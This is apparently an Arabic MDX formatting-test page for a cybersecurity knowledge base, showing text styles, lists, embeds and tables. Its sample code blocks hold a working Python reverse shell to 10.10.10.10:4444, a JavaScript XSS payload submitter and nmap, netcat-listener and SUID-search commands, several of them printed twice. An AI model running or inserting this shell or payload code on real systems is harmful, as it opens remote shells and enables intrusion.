هذا نص عادي.
**هذا نص عريض (Bold)**.
*هذا نص مائل (Italic)*.
~~هذا نص مشطوب (Strikethrough)~~.
`هذا كود مضمّن (Inline Code)`.

<span style="color:#FF0055">نص أحمر (Offensive)</span>
<span style="color:#00F0FF">نص أزرق (Defensive)</span>
<span style="color:#39FF14">نص أخضر (Engineering)</span>
<span style="color:#FFD600">نص أصفر (Lab)</span>
<span style="color:#BF5AF2">نص بنفسجي (Knowledge)</span>

- العنصر الأول
- العنصر الثاني
- العنصر الثالث
  - عنصر فرعي 1
  - عنصر فرعي 2

1. الخطوة الأولى
2. الخطوة الثانية
3. الخطوة الثالثة
   1. خطوة فرعية أ
   2. خطوة فرعية ب

- [x] مهمة منجزة
- [ ] مهمة قيد التنفيذ
- [ ] مهمة مستقبلية

![Kali Linux Logo](https://www.kali.org/images/kali-logo.svg)

![DNOTE Logo](/img/common/logos/DNOTE_logo_B.web)

<Figure
  src="/img/common/logos/DNOTE_logo_B.webp"
  alt="DNOTE Logo"
  width={400}
  caption="شعار DNOTE - القاعدة المعرفية التقنية"
/>

[زيارة موقع GitHub](https://github.com)

https://dnote.diyasiam.com

[OWASP Top 10](https://owasp.org/www-project-top-ten/ "دليل أهم 10 ثغرات أمنية")

<YouTubeEmbed
  videoId="wHRnX1oN3ow"
  title="مثال على فيديو YouTube"
  caption="فيديو تعليمي حول استخدام Burp Suite"
/>

<div style="position:relative;padding-bottom:56.25%;height:0;overflow:hidden;border-radius:8px;">
  <iframe
    style="position:absolute;top:0;left:0;width:100%;height:100%;"
    src="https://www.youtube.com/embed/wHRnX1oN3ow"
    frameborder="0"
    allowfullscreen
  ></iframe>
</div>

```python
def reverse_shell(ip, port):
    import socket, subprocess, os
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((ip, port))
    os.dup2(s.fileno(), 0)
    os.dup2(s.fileno(), 1)
    os.dup2(s.fileno(), 2)
    subprocess.call(["/bin/sh", "-i"])

reverse_shell("10.10.10.10", 4444)
```

def reverse_shell(ip, port):
    import socket, subprocess, os
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((ip, port))
    os.dup2(s.fileno(), 0)
    os.dup2(s.fileno(), 1)
    os.dup2(s.fileno(), 2)
    subprocess.call(["/bin/sh", "-i"])

reverse_shell("10.10.10.10", 4444)

```javascript
const exploit = async (target) => {
  const payload = `<script>alert('XSS')</script>`;
  const response = await fetch(target, {
    method: 'POST',
    body: JSON.stringify({ input: payload }),
    headers: { 'Content-Type': 'application/json' }
  });
  return response.json();
};

exploit('https://vulnerable-site.com/api/submit');
```

const exploit = async (target) => {
  const payload = `<script>alert('XSS')</script>`;
  const response = await fetch(target, {
    method: 'POST',
    body: JSON.stringify({ input: payload }),
    headers: { 'Content-Type': 'application/json' }
  });
  return response.json();
};

exploit('https://vulnerable-site.com/api/submit');

```bash
# Nmap Scan
nmap -sV -sC -p- -oN scan.txt 10.10.10.10

# Reverse Shell Listener
nc -lvnp 4444

# Privilege Escalation Check
find / -perm -u=s -type f 2>/dev/null
```

| الثغرة | الوصف | الخطورة |
|--------|-------|---------|
| SQL Injection | حقن استعلامات SQL ضارة | عالية |
| XSS | تنفيذ JavaScript في المتصفح | متوسطة |
| CSRF | تنفيذ طلبات نيابة عن المستخدم | متوسطة |

| الأداة | النوع | التكلفة |
|:-------|:-----:|--------:|
| Burp Suite | Web Testing | $399/year |
| Metasploit | Framework | Free |
| Wireshark | Network Analysis | Free |

> "الأمن السيبراني ليس منتجاً، بل هو عملية مستمرة."
> — Bruce Schneier

> **📌 ملاحظة:** تأكد دائماً من الحصول على إذن كتابي قبل اختبار أي نظام.

> **⚠️ تحذير:** تنفيذ هذا الأمر على نظام غير مصرح به يعد جريمة جنائية.

> **💡 نصيحة:** استخدم `tmux` لإدارة جلسات متعددة أثناء اختبار الاختراق.

---

---
***
___

استخدمنا أداة **Burp Suite** لاكتشاف ثغرة **SQL Injection** في الموقع.

import Figure from "../../components/Figure.astro";
import YouTubeEmbed from "../../components/YouTubeEmbed.astro";

---
title: "عنوان المقال"
description: "وصف مختصر للمقال"
createdAt: 2025-11-18
tags: ["Tag1", "Tag2", "Tag3"]
draft: false
---